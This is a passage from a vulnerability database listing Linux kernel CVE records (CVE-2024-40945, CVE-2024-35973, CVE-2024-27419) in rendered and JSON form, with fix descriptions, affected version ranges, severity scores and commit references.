          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu: Return right value in iommu_sva_bind_device()\n\niommu_sva_bind_device() should return either a sva bond handle or an\nERR_PTR value in error cases. Existing drivers (idxd and uacce) only\ncheck the return value with IS_ERR(). This could potentially lead to\na kernel NULL pointer dereference issue if the function returns NULL\ninstead of an error pointer.\n\nIn reality, this doesn\u0027t cause any problems because iommu_sva_bind_device()\nonly returns NULL when the kernel is not configured with CONFIG_IOMMU_SVA.\nIn this case, iommu_dev_enable_feature(dev, IOMMU_DEV_FEAT_SVA) will\nreturn an error, and the device drivers won\u0027t call iommu_sva_bind_device()\nat all."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:53.243Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/700f564758882db7c039dfba9443fe762561a3f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf34f8f66982a36e5cba0d05781b21ec9606b91e"
        },
        {
          "url": "https://git.kernel.org/stable/c/2973b8e7d127754de9013177c41c0b5547406998"
        },
        {
          "url": "https://git.kernel.org/stable/c/6325eab6c108fed27f60ff51852e3eac0ba23f3f"
        },
        {
          "url": "https://git.kernel.org/stable/c/7388ae6f26c0ba95f70cc96bf9c5d5cb06c908b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/61a96da9649a6b6a1a5d5bde9374b045fdb5c12e"
        },
        {
          "url": "https://git.kernel.org/stable/c/89e8a2366e3bce584b6c01549d5019c5cda1205e"
        }
      ],
      "title": "iommu: Return right value in iommu_sva_bind_device()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40945",
    "datePublished": "2024-07-12T12:25:19.164Z",
    "dateReserved": "2024-07-12T12:17:45.588Z",
    "dateUpdated": "2026-05-12T11:55:46.795Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35973 (GCVE-0-2024-35973)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:42 – Updated: 2026-05-12 11:53

Title

geneve: fix header validation in geneve[6]_xmit_skb

Summary

In the Linux kernel, the following vulnerability has been resolved: geneve: fix header validation in geneve[6]_xmit_skb syzbot is able to trigger an uninit-value in geneve_xmit() [1] Problem : While most ip tunnel helpers (like ip_tunnel_get_dsfield()) uses skb_protocol(skb, true), pskb_inet_may_pull() is only using skb->protocol. If anything else than ETH_P_IPV6 or ETH_P_IP is found in skb->protocol, pskb_inet_may_pull() does nothing at all. If a vlan tag was provided by the caller (af_packet in the syzbot case), the network header might not point to the correct location, and skb linear part could be smaller than expected. Add skb_vlan_inet_prepare() to perform a complete mac validation. Use this in geneve for the moment, I suspect we need to adopt this more broadly. v4 - Jakub reported v3 broke l2_tos_ttl_inherit.sh selftest - Only call __vlan_get_protocol() for vlan types. v2,v3 - Addressed Sabrina comments on v1 and v2 [1] BUG: KMSAN: uninit-value in geneve_xmit_skb drivers/net/geneve.c:910 [inline] BUG: KMSAN: uninit-value in geneve_xmit+0x302d/0x5420 drivers/net/geneve.c:1030 geneve_xmit_skb drivers/net/geneve.c:910 [inline] geneve_xmit+0x302d/0x5420 drivers/net/geneve.c:1030 __netdev_start_xmit include/linux/netdevice.h:4903 [inline] netdev_start_xmit include/linux/netdevice.h:4917 [inline] xmit_one net/core/dev.c:3531 [inline] dev_hard_start_xmit+0x247/0xa20 net/core/dev.c:3547 __dev_queue_xmit+0x348d/0x52c0 net/core/dev.c:4335 dev_queue_xmit include/linux/netdevice.h:3091 [inline] packet_xmit+0x9c/0x6c0 net/packet/af_packet.c:276 packet_snd net/packet/af_packet.c:3081 [inline] packet_sendmsg+0x8bb0/0x9ef0 net/packet/af_packet.c:3113 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:745 __sys_sendto+0x685/0x830 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x125/0x1d0 net/socket.c:2199 do_syscall_64+0xd5/0x1f0 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Uninit was created at: slab_post_alloc_hook mm/slub.c:3804 [inline] slab_alloc_node mm/slub.c:3845 [inline] kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888 kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577 __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668 alloc_skb include/linux/skbuff.h:1318 [inline] alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504 sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795 packet_alloc_skb net/packet/af_packet.c:2930 [inline] packet_snd net/packet/af_packet.c:3024 [inline] packet_sendmsg+0x722d/0x9ef0 net/packet/af_packet.c:3113 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:745 __sys_sendto+0x685/0x830 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x125/0x1d0 net/socket.c:2199 do_syscall_64+0xd5/0x1f0 entry_SYSCALL_64_after_hwframe+0x6d/0x75 CPU: 0 PID: 5033 Comm: syz-executor346 Not tainted 6.9.0-rc1-syzkaller-00005-g928a87efa423 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/29/2024

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/43be590456e1f3566…
https://git.kernel.org/stable/c/d3adf11d7993518a3…
https://git.kernel.org/stable/c/10204df9beda4978b…
https://git.kernel.org/stable/c/3c1ae6de74e3d2d63…
https://git.kernel.org/stable/c/4a1b65d1e55d53b39…
https://git.kernel.org/stable/c/190d9efa5773f26d6…
https://git.kernel.org/stable/c/357163fff3a6e48fe…
https://git.kernel.org/stable/c/d8a6213d70accb403…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 35385daa8db320d2d9664930c28e732578b0d7de , < 43be590456e1f3566054ce78ae2dbb68cbe1a536 (git) Affected: 6f92124d74419797fadfbcd5b7a72c384a6413ad , < d3adf11d7993518a39bd02b383cfe657ccc0023c (git) Affected: 71ad9260c001b217d704cda88ecea251b2d367da , < 10204df9beda4978bd1d0c2db0d8375bfb03b915 (git) Affected: d13f048dd40e8577260cd43faea8ec9b77520197 , < 3c1ae6de74e3d2d6333d29a2d3e13e6094596c79 (git) Affected: d13f048dd40e8577260cd43faea8ec9b77520197 , < 4a1b65d1e55d53b397cb27014208be1e04172670 (git) Affected: d13f048dd40e8577260cd43faea8ec9b77520197 , < 190d9efa5773f26d6f334b1b8be282c4fa13fd5e (git) Affected: d13f048dd40e8577260cd43faea8ec9b77520197 , < 357163fff3a6e48fe74745425a32071ec9caf852 (git) Affected: d13f048dd40e8577260cd43faea8ec9b77520197 , < d8a6213d70accb403b82924a1c229e733433a5ef (git) Affected: 9a51e36ebf433adf59c051bec33f5aa54640bb4d (git) Affected: 21815f28af8081b258552c111774ff320cf38d38 (git)
Linux	Linux	Affected: 5.13 Unaffected: 0 , < 5.13 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35973",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-29T18:16:33.435108Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-29T19:56:09.359Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.047Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/43be590456e1f3566054ce78ae2dbb68cbe1a536"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d3adf11d7993518a39bd02b383cfe657ccc0023c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/10204df9beda4978bd1d0c2db0d8375bfb03b915"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3c1ae6de74e3d2d6333d29a2d3e13e6094596c79"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a1b65d1e55d53b397cb27014208be1e04172670"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/190d9efa5773f26d6f334b1b8be282c4fa13fd5e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/357163fff3a6e48fe74745425a32071ec9caf852"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d8a6213d70accb403b82924a1c229e733433a5ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:20.615Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/geneve.c",
            "include/net/ip_tunnels.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "43be590456e1f3566054ce78ae2dbb68cbe1a536",
              "status": "affected",
              "version": "35385daa8db320d2d9664930c28e732578b0d7de",
              "versionType": "git"
            },
            {
              "lessThan": "d3adf11d7993518a39bd02b383cfe657ccc0023c",
              "status": "affected",
              "version": "6f92124d74419797fadfbcd5b7a72c384a6413ad",
              "versionType": "git"
            },
            {
              "lessThan": "10204df9beda4978bd1d0c2db0d8375bfb03b915",
              "status": "affected",
              "version": "71ad9260c001b217d704cda88ecea251b2d367da",
              "versionType": "git"
            },
            {
              "lessThan": "3c1ae6de74e3d2d6333d29a2d3e13e6094596c79",
              "status": "affected",
              "version": "d13f048dd40e8577260cd43faea8ec9b77520197",
              "versionType": "git"
            },
            {
              "lessThan": "4a1b65d1e55d53b397cb27014208be1e04172670",
              "status": "affected",
              "version": "d13f048dd40e8577260cd43faea8ec9b77520197",
              "versionType": "git"
            },
            {
              "lessThan": "190d9efa5773f26d6f334b1b8be282c4fa13fd5e",
              "status": "affected",
              "version": "d13f048dd40e8577260cd43faea8ec9b77520197",
              "versionType": "git"
            },
            {
              "lessThan": "357163fff3a6e48fe74745425a32071ec9caf852",
              "status": "affected",
              "version": "d13f048dd40e8577260cd43faea8ec9b77520197",
              "versionType": "git"
            },
            {
              "lessThan": "d8a6213d70accb403b82924a1c229e733433a5ef",
              "status": "affected",
              "version": "d13f048dd40e8577260cd43faea8ec9b77520197",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "9a51e36ebf433adf59c051bec33f5aa54640bb4d",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "21815f28af8081b258552c111774ff320cf38d38",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/geneve.c",
            "include/net/ip_tunnels.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.13"
            },
            {
              "lessThan": "5.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.19.191",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "5.4.119",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.10.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.11.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.12.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngeneve: fix header validation in geneve[6]_xmit_skb\n\nsyzbot is able to trigger an uninit-value in geneve_xmit() [1]\n\nProblem : While most ip tunnel helpers (like ip_tunnel_get_dsfield())\nuses skb_protocol(skb, true), pskb_inet_may_pull() is only using\nskb-\u003eprotocol.\n\nIf anything else than ETH_P_IPV6 or ETH_P_IP is found in skb-\u003eprotocol,\npskb_inet_may_pull() does nothing at all.\n\nIf a vlan tag was provided by the caller (af_packet in the syzbot case),\nthe network header might not point to the correct location, and skb\nlinear part could be smaller than expected.\n\nAdd skb_vlan_inet_prepare() to perform a complete mac validation.\n\nUse this in geneve for the moment, I suspect we need to adopt this\nmore broadly.\n\nv4 - Jakub reported v3 broke l2_tos_ttl_inherit.sh selftest\n   - Only call __vlan_get_protocol() for vlan types.\n\nv2,v3 - Addressed Sabrina comments on v1 and v2\n\n[1]\n\nBUG: KMSAN: uninit-value in geneve_xmit_skb drivers/net/geneve.c:910 [inline]\n BUG: KMSAN: uninit-value in geneve_xmit+0x302d/0x5420 drivers/net/geneve.c:1030\n  geneve_xmit_skb drivers/net/geneve.c:910 [inline]\n  geneve_xmit+0x302d/0x5420 drivers/net/geneve.c:1030\n  __netdev_start_xmit include/linux/netdevice.h:4903 [inline]\n  netdev_start_xmit include/linux/netdevice.h:4917 [inline]\n  xmit_one net/core/dev.c:3531 [inline]\n  dev_hard_start_xmit+0x247/0xa20 net/core/dev.c:3547\n  __dev_queue_xmit+0x348d/0x52c0 net/core/dev.c:4335\n  dev_queue_xmit include/linux/netdevice.h:3091 [inline]\n  packet_xmit+0x9c/0x6c0 net/packet/af_packet.c:276\n  packet_snd net/packet/af_packet.c:3081 [inline]\n  packet_sendmsg+0x8bb0/0x9ef0 net/packet/af_packet.c:3113\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  __sys_sendto+0x685/0x830 net/socket.c:2191\n  __do_sys_sendto net/socket.c:2203 [inline]\n  __se_sys_sendto net/socket.c:2199 [inline]\n  __x64_sys_sendto+0x125/0x1d0 net/socket.c:2199\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:3804 [inline]\n  slab_alloc_node mm/slub.c:3845 [inline]\n  kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577\n  __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668\n  alloc_skb include/linux/skbuff.h:1318 [inline]\n  alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504\n  sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795\n  packet_alloc_skb net/packet/af_packet.c:2930 [inline]\n  packet_snd net/packet/af_packet.c:3024 [inline]\n  packet_sendmsg+0x722d/0x9ef0 net/packet/af_packet.c:3113\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  __sys_sendto+0x685/0x830 net/socket.c:2191\n  __do_sys_sendto net/socket.c:2203 [inline]\n  __se_sys_sendto net/socket.c:2199 [inline]\n  __x64_sys_sendto+0x125/0x1d0 net/socket.c:2199\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nCPU: 0 PID: 5033 Comm: syz-executor346 Not tainted 6.9.0-rc1-syzkaller-00005-g928a87efa423 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/29/2024"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:47.242Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/43be590456e1f3566054ce78ae2dbb68cbe1a536"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3adf11d7993518a39bd02b383cfe657ccc0023c"
        },
        {
          "url": "https://git.kernel.org/stable/c/10204df9beda4978bd1d0c2db0d8375bfb03b915"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c1ae6de74e3d2d6333d29a2d3e13e6094596c79"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a1b65d1e55d53b397cb27014208be1e04172670"
        },
        {
          "url": "https://git.kernel.org/stable/c/190d9efa5773f26d6f334b1b8be282c4fa13fd5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/357163fff3a6e48fe74745425a32071ec9caf852"
        },
        {
          "url": "https://git.kernel.org/stable/c/d8a6213d70accb403b82924a1c229e733433a5ef"
        }
      ],
      "title": "geneve: fix header validation in geneve[6]_xmit_skb",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35973",
    "datePublished": "2024-05-20T09:42:00.475Z",
    "dateReserved": "2024-05-17T13:50:33.142Z",
    "dateUpdated": "2026-05-12T11:53:20.615Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27419 (GCVE-0-2024-27419)

Vulnerability from cvelistv5 – Published: 2024-05-17 12:01 – Updated: 2026-05-12 11:51

Title

netrom: Fix data-races around sysctl_net_busy_read

Summary

In the Linux kernel, the following vulnerability has been resolved: netrom: Fix data-races around sysctl_net_busy_read We need to protect the reader reading the sysctl value because the value can be changed concurrently.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d623fd5298d95b65d…
https://git.kernel.org/stable/c/f9055fa2b2931261d…
https://git.kernel.org/stable/c/bbf950a6e96a91cf8…
https://git.kernel.org/stable/c/0866afaff19d84603…
https://git.kernel.org/stable/c/43464808669ba9d23…
https://git.kernel.org/stable/c/34cab94f7473e7b09…
https://git.kernel.org/stable/c/16d71319e29d5825a…
https://git.kernel.org/stable/c/d380ce70058a4ccdd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d623fd5298d95b65d27ef5a618ebf39541074856 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f9055fa2b2931261d5f89948ee5bc315b6a22d4a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < bbf950a6e96a91cf8cf0c71117b94ed3fafc9dd3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0866afaff19d8460308b022345ed116a12b1d0e1 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 43464808669ba9d23996f0b6d875450191687caf (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 34cab94f7473e7b09f5205d4583fb5096cb63b5b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 16d71319e29d5825ab53f263b59fdd8dc2d60ad4 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d380ce70058a4ccddc3e5f5c2063165dc07672c6 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.310 , ≤ 4.19.* (semver) Unaffected: 5.4.272 , ≤ 5.4.* (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.22 , ≤ 6.6.* (semver) Unaffected: 6.7.10 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27419",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:13:24.653763Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:46:48.428Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:34:52.300Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d623fd5298d95b65d27ef5a618ebf39541074856"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f9055fa2b2931261d5f89948ee5bc315b6a22d4a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bbf950a6e96a91cf8cf0c71117b94ed3fafc9dd3"
          },
          {
            "tags": [
              "x_transferred"
            ],
